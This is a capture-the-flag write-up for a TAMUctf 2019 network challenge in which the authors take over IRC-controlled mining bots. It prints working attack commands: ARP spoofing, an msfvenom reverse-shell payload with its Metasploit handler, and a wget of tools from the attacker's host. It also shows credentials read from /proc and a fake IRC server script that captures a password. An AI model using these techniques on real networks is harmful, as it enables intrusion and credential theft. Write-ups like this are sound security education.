[TAMUctf 2019] [Network 500 – Alt-F4 for Ops] Write Up

Description

Did you know that Alt-F4 is the shortcut for ops in IRC?

Difficulty: hard

Resource: OpenVPN configuration

Resolution

We began the challenge by scanning our /28 range:

Nmap scan report for 172.30.0.1
Host is up (0.18s latency).
MAC Address: 02:42:76:9E:00:48 (Unknown)

Nmap scan report for 172.30.0.2
Host is up (0.18s latency).
MAC Address: 02:42:0D:FB:E9:B4 (Unknown)

Nmap scan report for 172.30.0.14
Host is up.

Nmap done: 16 IP addresses (3 hosts up) scanned in 2.81 seconds

There’re only 2 hosts + us.

Using Ettercap for ARP spoofing we managed to retrieve IRC traffic (mining bots?):

172.30.0.2:44174 <-> 172.30.20.10:6667
[...]
PING :irc.hades.naum
:lordbaal!eugene@172.30.20.2 PRIVMSG #void :+impac66, payload http://172.30.20.2:8080/stats
:impac66!imp@172.30.20.3 PRIVMSG #void :lordbaal, running...
:impac66!imp@172.30.20.3 PRIVMSG #void :> dst 18kKGTd8CJYScHvD18JBoABzM68qgNqASG
:impac66!imp@172.30.20.3 PRIVMSG #void :> uptime 852 s
:impac66!imp@172.30.20.3 PRIVMSG #void :> 21.09 Mhash/s
:impac66!imp@172.30.20.3 PRIVMSG #void :> 0 blocks mined
:impac66!imp@172.30.20.3 PRIVMSG #void :done: 0
:lordbaal!eugene@172.30.20.2 PRIVMSG #void :+imp63a3, payload http://172.30.20.2:8080/stats
ERROR :Closing Link: 172.30.0.2 (Ping timeout: 60 seconds)
PING keep-alive
PRIVMSG #void :lordbaal, running...
PONG irc.hades.naum
PRIVMSG #void :lordbaal, running...
QUIT :Connection reset by peer
[...]

We have discovered here some interesting information, here is the summary:
– an IRC bot at 172.30.0.2 (nick: imp63a3) //the spoofed host
– an IRC client at 172.30.20.2 (nick: lordbaal)
– another IRC bot at 172.30.20.3 (nick: impac66)
– an IRC server at 172.30.20.10

At first we could not connect to the IRC server and all the ports seemed closed with Nmap.
In fact it was just a routing problem, that’s why our MiTM did not work well and cut the connections… 😐

route add -net 172.30.20.0/28 gw 172.30.0.1

No more problem after that! 😉

Nmap scan report for 172.30.20.10
Host is up (0.18s latency).

PORT     STATE SERVICE
6667/tcp open  irc

Nmap done: 1 IP address (1 host up) scanned in 2.60 seconds

We then tried to connect to the IRC server and got:

* Closing Link: 172.30.0.14 (Bad Password)

Noooooooooooo 🙁

The simplest solution would have been to cut the connection between the bot and the server IRC and then to recover the password that passed through.
Yes, but everything in its own time: it would be useful to know what is in the URL “payload” isn’t it?

wget http://172.30.20.2:8080/stats
file stats
stats: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a2ceec8f1d7d52b92d9e231b073e34be2d23ba76, not stripped
strace ./stats
[...]
openat(AT_FDCWD, "/var/run/stats", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
read(3, "", 4096)                       = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
write(1, "no stats\n", 9no stats
)               = 9
exit_group(1)                           = ?
+++ exited with 1 +++

The 2 bots seem to download from the URL an ELF binary and execute it.
The program itself did not seem to do much except opening a file.
So we decided to modify on the fly the payload’s URL with another one using MiTM again.
This could have been done with filters in Ettercap, but in the meantime with routing problems, we used Scapy to control everything we did.
A python script with only Scapy for ARP spoofing, and another script with Scapy & NetFilterQueue management for the rewrite. \o/

We used msfvenom to generate a payload for a reverse shell.

msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=172.30.0.14 LPORT=8080 -b "\x00" -f elf -o payload 

We were listening for a contact.

sudo python -m SimpleHTTPServer 80 &
msfconsole -q -x "use exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp; set LHOST 172.30.0.14; set LPORT 8080; run; exit -y"

An URL has been captured and modified:

http://172.30.20.2:8080/stats  # default
to
http://172.30.0.14/payload     # our URL, with a reverse tcp payload

Everything worked as expected and the bot came to download the file:

Serving HTTP on 0.0.0.0 port 80 ...
172.30.0.2 - - [02/Mar/2019 20:23:15] "GET /payload HTTP/1.1" 200 -

[*] Command shell session 1 opened (172.30.0.14:8080 -> 172.30.0.2:39438) at 2019-03-02 20:23:18 +0100

We recovered the list of its running processes:

ps -ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:02 python /usr/local/bin/adminutil
  208 ?        Sl     0:00 /miner 18kKGTd8CJYScHvD18JBoABzM68qgNqASG

As well as the source of the python file:

cat /usr/local/bin/adminutil
#!/bin/env python
# coding: utf-8
[...]
SERVER = os.environ.get("SERVER")
CHANNEL = os.environ.get("CHANNEL", "#void")
USERNAME = os.environ.get("USERNAME", "imp")
PASSWORD = os.environ.get("PASSWORD", "password")
[...]

Since the environment variables have been emptied, it was necessary to recover the existing ones when the process was started.

cat /proc/1/environ  # /proc/<pid>/* There is a lot of information about the process here
[...]
SERVER=172.30.20.10
PASSWORD=underling
[...]

We already knew that there was a channel #void but it was necessary to make sure and it was a good idea!

 Channel          Users   Topic
 #sanctum         1       [+nt]
 #void            3       [+nt]
* End of /LIST

What can there be in #sanctum? If only we could enter…

* #sanctum :Cannot join channel (Only lords may enter the sanctum!)

Maybe prefixing my nick with lord? Neither.

/nick lordwtf
* lordwtf :Only the chosen may adopt the title of lord!

Regarding the channel #void, no changes:

* WtF is wtf@172.30.0.14 * WtF
* imp63a3 is imp@172.30.0.2 * imp63a3
* impac66 is imp@172.30.20.3 * impac66
* lordbaal is eugene@172.30.20.2 * baal
* #void :End of /WHO list.

Always the same messages:

<lordbaal> +imp63a3, purge
<imp63a3> lordbaal, there are no running processes
<lordbaal> +imp63a3, payload http://172.30.20.2:8080/miner 18kKGTd8CJYScHvD18JBoABzM68qgNqASG
<imp63a3> lordbaal, running...
<lordbaal> +impac66, payload http://172.30.20.2:8080/stats
<impac66> lordbaal, running...
<impac66> > dst 18kKGTd8CJYScHvD18JBoABzM68qgNqASG
<impac66> > uptime 922 s
<impac66> > 18.90 Mhash/s
<impac66> > 0 blocks mined
<impac66> done: 0

We stayed a few hours stuck, wondering what to do:
Disconnect lordbaal and get his nickname to enter #sanctum? Possible.
On the other hand the flag is not in the topic of the channel otherwise we would have seen it…
Maybe the bot sends the flag in the chan? We still need to intercept the packets!
Problem: lordbaal is not in the same network as us, the ARP spoofing will not work. 🙁
Hey wait! There were 2 bots, one in our network, and the other one in lordbaal’s.
As we can execute code on both, we chose the good one to get a reverse shell and tried to launch the ARP spoofing remotely.

We got a new reverse shell, this time inside the network 172.30.20.0/28:

[*] Command shell session 1 opened (172.30.0.14:8080 -> 172.30.20.3:57958) at 2019-03-02 23:12:40 +0100
cd /root
wget http://172.30.0.14/arpspoof.deb
dpkg -i arpspoof.deb

We tried a lot of things in order to disconnect the administrator using ARP spoofing, but none worked.
It must be said that the possibilities were quite limited: minimalist container without internet, no iptables, forward allowed by default and unchangeable, …
In the end, radical decision: make an IP address conflict (with IP aliases, we’re not mad to shoot ourselves in the foot), and it worked!

ip addr add 172.30.20.2/28 dev eth0 label eth0:1
* lordbaal has quit (Read error: Connection reset by peer)

We tried to take his nickname and got in return the same message as before, we deleted the IP alias.
Yes we are not lords but let us see what’s inside!
Maybe there is a verification based on his username?
Remember: lordbaal is eugene@172.30.20.2 * baal

We had a strange return on connect with eugene as username:

* Closing Link: 172.30.0.14 (Bad Password)

Everything became clearer!
It’s an I:Line (access rule inside the IRC server’s config) with filtering on the username and a specific password.
We only had to pretend to be the server for lordbaal.
This last step was very risky: the fact of adding the IP of the server in alias makes the bot connect in “local”, thus on a fake IRC server, and it would be difficult to reconnect there (except by putting a persistent reverse shell etc.).
As the goal was to connect the administrator on the controlled server, we had to tell him that we were the IP 172.30.20.10:

./arpspoof -t 172.30.20.2 172.30.20.10
2:42:81:59:3c:31 2:42:39:1a:6:1d 0806 42: arp reply 172.30.20.10 is-at 2:42:81:59:3c:31

For more security we have activated the IP’s change back upon receipt of the password:

#!/usr/bin/env python3

import socket
import re
import os

HOST = '0.0.0.0'
PORT = 6667

addip = 'ip addr add 172.30.20.10/28 dev eth0 label eth0:1'
print('[CMD] %s' % addip)
os.system(addip)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    print('* Listening... *')
    s.listen()
    conn, addr = s.accept()
    with conn:
        print('Connect from '+addr[0])
        while True:
            data = conn.recv(1024)
            if not data:
                break
            content = data.decode()
            print(content)
            m = re.search('PASS (.+)\\r\\n', content)
            if m:
                pwd = m.group(1)
                print('LOOT! - '+pwd)
                delip = 'ip addr del 172.30.20.10/28 dev eth0'
                print('[CMD] %s' % delip)
                os.system(delip)
                exit()

Giving us the following output:

$ python3 ircd.py
[CMD] ip addr add 172.30.20.10/28 dev eth0 label eth0:1
* Listening... *
Connect from 172.30.20.2
> PASS suckitinnotech
> NICK baal
> USER eugene 0 * :baal

LOOT! - suckitinnotech
[CMD] ip addr del 172.30.20.10/28 dev eth0

We connected on the real IRC server with the password and waited on the #sanctum channel.

* lordbaal (eugene@172.30.20.2) has joined #sanctum
<lordbaal> WtF, who the hell are you?! gigem{command_and_out_of_control}

Flag was gigem{command_and_out_of_control}

What a fun challenge isn’t it? Thanks again! 😀

Leave a Reply

Your email address will not be published. Required fields are marked *